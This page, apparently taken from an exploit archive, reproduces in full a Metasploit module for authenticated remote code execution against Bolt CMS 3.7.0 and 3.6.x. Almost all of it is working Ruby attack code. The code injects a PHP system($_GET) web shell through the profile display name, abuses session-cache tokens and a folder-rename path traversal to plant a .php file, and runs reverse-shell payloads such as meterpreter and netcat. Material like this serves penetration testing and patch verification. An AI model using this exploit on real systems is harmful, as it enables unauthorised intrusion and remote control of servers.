Bolt CMS 3.7.0 Authenticated Remote Code Execution

This Metasploit module exploits multiple vulnerabilities in Bolt CMS version 3.7.0 and 3.6.x in order to execute arbitrary commands as the user running Bolt. Valid credentials for a Bolt CMS user are required. This module has been successfully tested against Bolt CMS 3.7.0 running on CentOS 7.


MD5 | 0e1891b316c1ddb10007d34437171dba

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

Rank = ExcellentRanking

include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::CmdStager
include Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
'Name' => 'Bolt CMS 3.7.0 - Authenticated Remote Code Execution',
'Description' => %q{
This module exploits multiple vulnerabilities in Bolt CMS version 3.7.0
and 3.6.* in order to execute arbitrary commands as the user running Bolt.

This module first takes advantage of a vulnerability that allows an
authenticated user to change the username in /bolt/profile to a PHP
`system($_GET[""])` variable. Next, the module obtains a list of tokens
from `/async/browse/cache/.sessions` and uses these to create files with
the blacklisted `.php` extention via HTTP POST requests to
`/async/folder/rename`. For each created file, the module checks the HTTP
response for evidence that the file can be used to execute arbitrary
commands via the created PHP $_GET variable. If the response is negative,
the file is deleted, otherwise the payload is executed via an HTTP
get request in this format: `/files/<rogue_PHP_file>?<$_GET_var>=<payload>`

Valid credentials for a Bolt CMS user are required. This module has been
successfully tested against Bolt CMS 3.7.0 running on CentOS 7.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Sivanesh Ashok', # Discovery
'r3m0t3nu11', # PoC
'Erik Wynter' # @wyntererik - Metasploit
],
'References' =>
[
['EDB', '48296'],
['URL', 'https://github.com/bolt/bolt/releases/tag/3.7.1'] # Bolt CMS 3.7.1 release info mentioning this issue and the discovery by Sivanesh Ashok
],
'Platform' => ['linux', 'unix'],
'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
'Targets' =>
[
[
'Linux (x86)', {
'Arch' => ARCH_X86,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x86/meterpreter/reverse_tcp'
}
}
],
[
'Linux (x64)', {
'Arch' => ARCH_X64,
'Platform' => 'linux',
'DefaultOptions' => {
'PAYLOAD' => 'linux/x64/meterpreter/reverse_tcp'
}
}
],
[
'Linux (cmd)', {
'Arch' => ARCH_CMD,
'Platform' => 'unix',
'DefaultOptions' => {
'PAYLOAD' => 'cmd/unix/reverse_netcat'
}
}
]
],
'Privileged' => false,
'DisclosureDate' => '2020-05-07', # this the date a patch was released, since the disclosure data is not known at this time
'DefaultOptions' => {
'RPORT' => 8000,
'WfsDelay' => 5
},
'DefaultTarget' => 2,
'Notes' => {
'NOCVE' => '0day',
'Stability' => [SERVICE_RESOURCE_LOSS], # May hang up the service
'Reliability' => [REPEATABLE_SESSION],
'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]
}
)
)

register_options [
OptString.new('TARGETURI', [true, 'Base path to Bolt CMS', '/']),
OptString.new('USERNAME', [true, 'Username to authenticate with', false]),
OptString.new('PASSWORD', [true, 'Password to authenticate with', false]),
OptString.new('FILE_TRAVERSAL_PATH', [true, 'Traversal path from "/files" on the web server to "/root" on the server', '../../../public/files'])
]
end

def check
# obtain token and cookie required for login
res = send_request_cgi 'uri' => normalize_uri(target_uri.path, 'bolt', 'login')

return CheckCode::Unknown('Connection failed') unless res

unless res.code == 200 && res.body.include?('Sign in to Bolt')
return CheckCode::Safe('Target is not a Bolt CMS application.')
end

html = res.get_html_document
token = html.at('input[@id="user_login__token"]')['value']
cookie = res.get_cookies

# perform login
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'login'),
'cookie' => cookie,
'vars_post' => {
'user_login[username]' => datastore['USERNAME'],
'user_login[password]' => datastore['PASSWORD'],
'user_login[login]' => '',
'user_login[_token]' => token
}
})

return CheckCode::Unknown('Connection failed') unless res

unless res.code == 302 && res.body.include?('Redirecting to /bolt')
return CheckCode::Unknown('Failed to authenticate to the server.')
end

@cookie = res.get_cookies
return unless @cookie

# visit profile page to obtain user_profile token and user email
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie
})

return CheckCode::Unknown('Connection failed') unless res

unless res.code == 200 && res.body.include?('<title>Profile')
return CheckCode::Unknown('Failed to authenticate to the server.')
end

html = res.get_html_document

@email = html.at('input[@type="email"]')['value'] # this is used later to revert all changes to the user profile
unless @email # create fake email if this value is not found
@email = Rex::Text.rand_text_alpha_lower(5..8)
@email << "@#{@email}."
@email << Rex::Text.rand_text_alpha_lower(2..3)
print_error("Failed to obtain user email. Using #{@email} instead. This will be visible on the user profile.")
end

@profile_token = html.at('input[@id="user_profile__token"]')['value'] # this is needed to rename the user (below)

if !@profile_token || @profile_token.to_s.empty?
return CheckCode::Unknown('Authentication failure.')
end

# change user profile to a php $_GET variable
@php_var_name = Rex::Text.rand_text_alpha_lower(4..6)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie,
'vars_post' => {
'user_profile[password][first]' => datastore['PASSWORD'],
'user_profile[password][second]' => datastore['PASSWORD'],
'user_profile[email]' => @email,
'user_profile[displayname]' => "<?php system($_GET['#{@php_var_name}']);?>",
'user_profile[save]' => '',
'user_profile[_token]' => @profile_token
}
})

return CheckCode::Unknown('Connection failed') unless res

# visit profile page again to verify the changes
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie
})

return CheckCode::Unknown('Connection failed') unless res

unless res.code == 200 && res.body.include?("php system($_GET['#{@php_var_name}&#039")
return CheckCode::Unknown('Authentication failure.')
end

CheckCode::Vulnerable("Successfully changed the /bolt/profile username to PHP $_GET variable \"#{@php_var_name}\".")
end

def exploit
# NOTE: Automatic check is implemented by the AutoCheck mixin
super

csrf
unless @csrf_token && !@csrf_token.empty?
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
end
vprint_status("Found CSRF token: #{@csrf_token}")

file_tokens = obtain_cache_tokens
unless file_tokens && !file_tokens.empty?
fail_with Failure::NoAccess, 'Failed to obtain tokens for creating .php files.'
end
print_status("Found #{file_tokens.length} potential token(s) for creating .php files.")

token_results = try_tokens(file_tokens)
unless token_results && !token_results.empty?
fail_with Failure::NoAccess, 'Failed to create a .php file that can be used for RCE. This may happen on occasion. You can try rerunning the module.'
end

valid_token = token_results[0]
@rogue_file = token_results[1]

print_good("Used token #{valid_token} to create #{@rogue_file}.")
if target.arch.first == ARCH_CMD
execute_command(payload.encoded)
else
execute_cmdstager
end
end

def csrf
# visit /bolt/overview/showcases to get csrf token
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'overview', 'showcases'),
'cookie' => @cookie
})

fail_with Failure::Unreachable, 'Connection failed' unless res

unless res.code == 200 && res.body.include?('Showcases')
fail_with Failure::NoAccess, 'Failed to obtain CSRF token'
end

html = res.get_html_document
@csrf_token = html.at('div[@class="buic-listing"]')['data-bolt_csrf_token']
end

def obtain_cache_tokens
# obtain tokens for creating rogue .php files from cache
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'async', 'browse', 'cache', '.sessions'),
'cookie' => @cookie
})

fail_with Failure::Unreachable, 'Connection failed' unless res

unless res.code == 200 && res.body.include?('entry disabled')
fail_with Failure::NoAccess, 'Failed to obtain file impersonation tokens'
end

html = res.get_html_document
entries = html.search('tr')
tokens = []
entries.each do |e|
token = e.at('span[@class="entry disabled"]').text.strip
size = e.at('div[@class="filesize"]')['title'].strip.split(' ')[0]
tokens.append(token) if size.to_i >= 2000
end

tokens
end

def try_tokens(file_tokens)
# create .php files and check if any of them can be used for RCE via the username $_GET variable
file_tokens.each do |token|
file_path = datastore['FILE_TRAVERSAL_PATH'].chomp('/') # remove trailing `/` in case present
file_name = Rex::Text.rand_text_alpha_lower(8..12)
file_name << '.php'

# use token to create rogue .php file by 'renaming' a file from cache
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'async', 'folder', 'rename'),
'cookie' => @cookie,
'vars_post' => {
'namespace' => 'root',
'parent' => '/app/cache/.sessions',
'oldname' => token,
'newname' => "#{file_path}/#{file_name}",
'token' => @csrf_token
}
})

fail_with Failure::Unreachable, 'Connection failed' unless res

next unless res.code == 200 && res.body.include?(file_name)

# check if .php file contains an empty `displayname` value. If so, cmd execution should work.
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'files', file_name),
'cookie' => @cookie
})

fail_with Failure::Unreachable, 'Connection failed' unless res

# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
unless res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
delete_file(file_name)
next
end

return token, file_name
end

nil
end

def execute_command(cmd, _opts = {})
if target.arch.first == ARCH_CMD
print_status("Attempting to execute the payload via \"/files/#{@rogue_file}?#{@php_var_name}=`payload`\"")
end

res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'files', @rogue_file),
'cookie' => @cookie,
'vars_get' => { @php_var_name => "(#{cmd}) > /dev/null &" } # HACK: Don't block on stdout
}, 3.5)

# the response should contain a string formatted like: `displayname";s:31:""` but `s` can be a different letter and `31` a different number
unless res && res.code == 200 && res.body.match(/displayname";[a-z]:\d{1,2}:""/)
print_warning('No response, may have executed a blocking payload!')
return
end

print_good('Payload executed!')
end

def cleanup
super

# delete rogue .php file used for execution (if present)
delete_file(@rogue_file) if @rogue_file

return unless @profile_token

# change user profile back to original
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie,
'vars_post' => {
'user_profile[password][first]' => datastore['PASSWORD'],
'user_profile[password][second]' => datastore['PASSWORD'],
'user_profile[email]' => @email,
'user_profile[displayname]' => datastore['USERNAME'].to_s,
'user_profile[save]' => '',
'user_profile[_token]' => @profile_token
}
})

unless res
print_warning('Failed to revert user profile back to original state.')
return
end

# visit profile page again to verify the changes
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, 'bolt', 'profile'),
'cookie' => @cookie
})

unless res && res.code == 200 && res.body.include?(datastore['USERNAME'].to_s)
print_warning('Failed to revert user profile back to original state.')
end

print_good('Reverted user profile back to original state.')
end

def delete_file(file_name)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, 'async', 'file', 'delete'),
'cookie' => @cookie,
'vars_post' => {
'namespace' => 'files',
'filename' => file_name,
'token' => @csrf_token
}
})

unless res && res.code == 200 && res.body.include?(file_name)
print_warning("Failed to delete file #{file_name}. Manual cleanup required.")
end

print_good("Deleted file #{file_name}.")
end

end

Related Posts